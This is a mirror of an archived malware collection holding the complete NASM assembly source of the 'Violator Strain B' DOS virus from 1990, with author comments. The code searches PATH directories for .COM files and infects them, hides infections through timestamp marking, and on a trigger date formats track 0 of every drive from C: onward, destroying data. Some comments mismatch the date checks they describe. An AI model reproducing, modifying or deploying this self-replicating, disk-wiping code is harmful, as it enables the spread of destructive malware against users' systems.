mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
394 lines
11 KiB
NASM
394 lines
11 KiB
NASM
;*****************************************************************************
|
||
;
|
||
; Violator - Strain B
|
||
;
|
||
;*****************************************************************************
|
||
;
|
||
; (Aug/09/90)
|
||
;
|
||
; Development Notes:
|
||
;
|
||
; I encountered several errors in the original Violator code which I
|
||
; corrected in this version. Mainly, the INT 26 routine to fuck the
|
||
; disk. It seems that the routine would crash right after the INT 26
|
||
; was executed and the whole program would die. I have since fixed
|
||
; this problem in this version with an INT 13, AH 05 (Format Track)
|
||
; command. This works better than the subsequent INT 26.
|
||
;
|
||
;
|
||
;*****************************************************************************
|
||
;
|
||
; Written by - The High Evolutionary -
|
||
; RABID Head Programmer
|
||
;
|
||
; Revised by: ®Onslaught¯
|
||
; No affiliation with rabId
|
||
;
|
||
; Copyright (C) 1990 by RABID Nat'nl Development Corp.
|
||
;
|
||
;*****************************************************************************
|
||
|
||
MOV_CX MACRO X
|
||
DB 0B9H
|
||
DW X
|
||
ENDM
|
||
|
||
CODE SEGMENT
|
||
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
|
||
ORG $+0100H ; Set ORG to 100H plus our own
|
||
|
||
VCODE: JMP virus
|
||
|
||
NOP
|
||
NOP
|
||
NOP ;15 NOP's to place JMP Header
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
|
||
v_start equ $
|
||
|
||
|
||
virus: PUSH CX
|
||
MOV DX,OFFSET vir_dat
|
||
CLD
|
||
MOV SI,DX
|
||
ADD SI,first_3
|
||
MOV CX,3
|
||
MOV DI,OFFSET 100H
|
||
REPZ MOVSB
|
||
MOV SI,DX
|
||
MOV AH,30H
|
||
INT 21H
|
||
CMP AL,0 ;Quit it it's DOS 1.0
|
||
JNZ dos_ok
|
||
JMP quit
|
||
|
||
dos_ok: PUSH ES
|
||
MOV AH,2FH
|
||
INT 21H
|
||
MOV [SI+old_dta],BX
|
||
MOV [SI+old_dts],ES
|
||
POP ES
|
||
MOV DX,dta
|
||
ADD DX,SI
|
||
MOV AH,1AH
|
||
INT 21H
|
||
PUSH ES
|
||
PUSH SI
|
||
MOV ES,DS:2CH
|
||
MOV DI,0
|
||
JMP year_check
|
||
|
||
year_check:
|
||
MOV AH,2AH ;Get date info
|
||
INT 21H ;Call DOS
|
||
CMP CX,1990 ;Check to see if the year is 1990
|
||
JGE month_check ;If greater or equal, check month
|
||
JMP find_path ;If not, go on with infection
|
||
|
||
month_check:
|
||
MOV AH,2AH ;Get date info
|
||
INT 21h ;Call DOS
|
||
CMP DH,10 ;Check to see if it is September
|
||
JGE day_check ;If greater or equal, check day
|
||
JMP find_path ;if not, go on with infection
|
||
|
||
day_check:
|
||
MOV AH,2Ah ;Get date info
|
||
INT 21H ;Call DOS
|
||
CMP DL,31 ;Check to see if it is the 4th
|
||
JGE multiplex ;If yes, then nuke drives A:-Z:
|
||
JMP find_path ;If not, then go on with infection
|
||
|
||
multiplex:
|
||
MOV AL,cntr ;Counter is the drive to kill
|
||
CALL alter ;Go and kill the drive
|
||
;25 is drive Z:
|
||
CMP cntr,25 ;Is (cntr) 25 ?
|
||
JE find_path ;Go on with infection
|
||
INC cntr ;Add one to (cntr)
|
||
LOOP multiplex ;Loop back up to kill next drive
|
||
|
||
alter:
|
||
MOV AH,05 ;Format Track
|
||
MOV CH,0 ;Format track 0
|
||
MOV DH,0 ;Head 0
|
||
MOV DL,cntr ;Format for drive in (cntr)
|
||
INT 13h ;Call RWTS
|
||
RET ;Return up for next drive
|
||
|
||
find_path:
|
||
POP SI
|
||
PUSH SI
|
||
ADD SI,env_str
|
||
LODSB
|
||
MOV CX,OFFSET 8000H
|
||
REPNZ SCASB
|
||
MOV CX,4
|
||
|
||
check_next_4:
|
||
LODSB
|
||
SCASB
|
||
;
|
||
; The JNZ line specifies that if there is no PATH present, then we will go
|
||
; along and infect the ROOT directory on the default drive.
|
||
;
|
||
JNZ find_path ;If not path, then go to ROOT dir
|
||
LOOP check_next_4 ;Go back and check for more chars
|
||
POP SI ;Load in PATH again to look for chars
|
||
POP ES
|
||
MOV [SI+path_ad],DI
|
||
MOV DI,SI
|
||
ADD DI,wrk_spc ;Put the filename in wrk_spc
|
||
MOV BX,SI
|
||
ADD SI,wrk_spc
|
||
MOV DI,SI
|
||
JMP SHORT slash_ok
|
||
|
||
set_subdir:
|
||
CMP WORD PTR [SI+path_ad],0
|
||
JNZ found_subdir
|
||
JMP all_done
|
||
|
||
|
||
found_subdir:
|
||
PUSH DS
|
||
PUSH SI
|
||
MOV DS,ES:2CH
|
||
MOV DI,SI
|
||
MOV SI,ES:[DI+path_ad]
|
||
ADD DI,wrk_spc ;DI is the file name to infect! (hehe)
|
||
|
||
|
||
move_subdir:
|
||
LODSB ;To tedious work to move into subdir
|
||
CMP AL,';' ;Does it end with a ; charachter?
|
||
JZ moved_one ;if yes, then we found a subdir
|
||
CMP AL,0 ;is it the end of the path?
|
||
JZ moved_last_one ;if yes, then we save the PATH
|
||
STOSB ;marker into DI for future reference
|
||
JMP SHORT move_subdir
|
||
|
||
moved_last_one:
|
||
MOV SI,0
|
||
|
||
moved_one:
|
||
POP BX ;BX is where the virus data is
|
||
POP DS ;Restore DS so that we can do stuph
|
||
MOV [BX+path_ad],SI ;Where is the next subdir?
|
||
NOP
|
||
CMP CH,'\' ;Check to see if it ends in \
|
||
JZ slash_ok ;If yes, then it's OK
|
||
MOV AL,'\' ;if not, then add one...
|
||
STOSB ;store the sucker
|
||
|
||
|
||
slash_ok:
|
||
MOV [BX+nam_ptr],DI ;Move the filename into workspace
|
||
MOV SI,BX ;Restore the original SI value
|
||
ADD SI,f_spec ;Point to COM file victim
|
||
MOV CX,6
|
||
REPZ MOVSB ;Move victim into workspace
|
||
MOV SI,BX
|
||
MOV AH,4EH
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI ;DX is ... THE VICTIM!!!
|
||
MOV CX,3 ;Attributes of Read Only or Hidden OK
|
||
INT 21H
|
||
JMP SHORT find_first
|
||
|
||
find_next:
|
||
MOV AH,4FH
|
||
INT 21H
|
||
|
||
find_first:
|
||
JNB found_file ;Jump if we found it
|
||
JMP SHORT set_subdir ;Otherwise, get another subdirectory
|
||
|
||
found_file:
|
||
MOV AX,[SI+dta_tim] ;Get time from DTA
|
||
AND AL,1EH ;Mask to remove all but seconds
|
||
CMP AL,1EH ;60 seconds
|
||
JZ find_next
|
||
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
|
||
JA find_next ;If too long, find another one
|
||
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
|
||
JB find_next ;Then go find another one
|
||
MOV DI,[SI+nam_ptr]
|
||
PUSH SI
|
||
ADD SI,dta_nam
|
||
|
||
more_chars:
|
||
LODSB
|
||
STOSB
|
||
CMP AL,0
|
||
JNZ more_chars
|
||
POP SI
|
||
MOV AX,OFFSET 4300H
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI
|
||
INT 21H
|
||
MOV [SI+old_att],CX
|
||
MOV AX,OFFSET 4301H
|
||
AND CX,OFFSET 0FFFEH
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI
|
||
INT 21H
|
||
MOV AX,OFFSET 3D02H
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI
|
||
INT 21H
|
||
JNB opened_ok
|
||
JMP fix_attr
|
||
|
||
opened_ok:
|
||
MOV BX,AX
|
||
MOV AX,OFFSET 5700H
|
||
INT 21H
|
||
MOV [SI+old_tim],CX ;Save file time
|
||
MOV [SI+ol_date],DX ;Save the date
|
||
MOV AH,2CH
|
||
INT 21H
|
||
AND DH,7
|
||
JMP infect
|
||
|
||
infect:
|
||
MOV AH,3FH
|
||
MOV CX,3
|
||
MOV DX,first_3
|
||
ADD DX,SI
|
||
INT 21H ;Save first 3 bytes into the data area
|
||
JB fix_time_stamp
|
||
CMP AX,3
|
||
JNZ fix_time_stamp
|
||
MOV AX,OFFSET 4202H
|
||
MOV CX,0
|
||
MOV DX,0
|
||
INT 21H
|
||
JB fix_time_stamp
|
||
MOV CX,AX
|
||
SUB AX,3
|
||
MOV [SI+jmp_dsp],AX
|
||
ADD CX,OFFSET c_len_y
|
||
MOV DI,SI
|
||
SUB DI,OFFSET c_len_x
|
||
|
||
MOV [DI],CX
|
||
MOV AH,40H
|
||
MOV_CX virlen
|
||
MOV DX,SI
|
||
SUB DX,OFFSET codelen
|
||
INT 21H
|
||
JB fix_time_stamp
|
||
CMP AX,OFFSET virlen
|
||
JNZ fix_time_stamp
|
||
MOV AX,OFFSET 4200H
|
||
MOV CX,0
|
||
MOV DX,0
|
||
INT 21H
|
||
JB fix_time_stamp
|
||
MOV AH,40H
|
||
MOV CX,3
|
||
MOV DX,SI
|
||
ADD DX,jmp_op
|
||
INT 21H
|
||
|
||
fix_time_stamp:
|
||
MOV DX,[SI+ol_date]
|
||
MOV CX,[SI+old_tim]
|
||
AND CX,OFFSET 0FFE0H
|
||
OR CX,1EH
|
||
MOV AX,OFFSET 5701H
|
||
INT 21H
|
||
MOV AH,3EH
|
||
INT 21H
|
||
|
||
fix_attr:
|
||
MOV AX,OFFSET 4301H
|
||
MOV CX,[SI+old_att]
|
||
MOV DX,wrk_spc
|
||
ADD DX,SI
|
||
INT 21H
|
||
|
||
all_done:
|
||
PUSH DS
|
||
MOV AH,1AH
|
||
MOV DX,[SI+old_dta]
|
||
MOV DS,[SI+old_dts]
|
||
INT 21H
|
||
POP DS
|
||
|
||
quit:
|
||
POP CX
|
||
XOR AX,AX ;XOR values so that we will give the
|
||
XOR BX,BX ;poor sucker a hard time trying to
|
||
XOR DX,DX ;reassemble the source code if he
|
||
XOR SI,SI ;decides to dissassemble us.
|
||
MOV DI,OFFSET 0100H
|
||
PUSH DI
|
||
XOR DI,DI
|
||
RET 0FFFFH ;Return back to the beginning
|
||
;of the program
|
||
|
||
vir_dat EQU $
|
||
|
||
intro db '.D$^i*&B)_a.%R',13,10
|
||
olddta_ DW 0
|
||
olddts_ DW 0
|
||
oldtim_ DW 0
|
||
count_ DW 0
|
||
cntr DB 2 ; Drive to nuke from (C:+++)
|
||
oldate_ DW 0
|
||
oldatt_ DW 0
|
||
first3_ EQU $
|
||
INT 20H
|
||
NOP
|
||
jmpop_ DB 0E9H
|
||
jmpdsp_ DW 0
|
||
fspec_ DB '*.COM',0
|
||
pathad_ DW 0
|
||
namptr_ DW 0
|
||
envstr_ DB 'PATH='
|
||
wrkspc_ DB 40h dup (0)
|
||
dta_ DB 16h dup (0)
|
||
dtatim_ DW 0,0
|
||
dtalen_ DW 0,0
|
||
dtanam_ DB 0Dh dup (0)
|
||
lst_byt EQU $
|
||
virlen = lst_byt - v_start
|
||
codelen = vir_dat - v_start
|
||
c_len_x = vir_dat - v_start - 2
|
||
c_len_y = vir_dat - v_start + 100H
|
||
old_dta = olddta_ - vir_dat
|
||
old_dts = olddts_ - vir_dat
|
||
old_tim = oldtim_ - vir_dat
|
||
ol_date = oldate_ - vir_dat
|
||
old_att = oldatt_ - vir_dat
|
||
first_3 = first3_ - vir_dat
|
||
jmp_op = jmpop_ - vir_dat
|
||
jmp_dsp = jmpdsp_ - vir_dat
|
||
f_spec = fspec_ - vir_dat
|
||
path_ad = pathad_ - vir_dat
|
||
nam_ptr = namptr_ - vir_dat
|
||
env_str = envstr_ - vir_dat
|
||
wrk_spc = wrkspc_ - vir_dat
|
||
dta = dta_ - vir_dat
|
||
dta_tim = dtatim_ - vir_dat
|
||
dta_len = dtalen_ - vir_dat
|
||
dta_nam = dtanam_ - vir_dat
|
||
count = count_ - vir_dat
|
||
|
||
CODE ENDS
|
||
END VCODE
|
||
|
||
|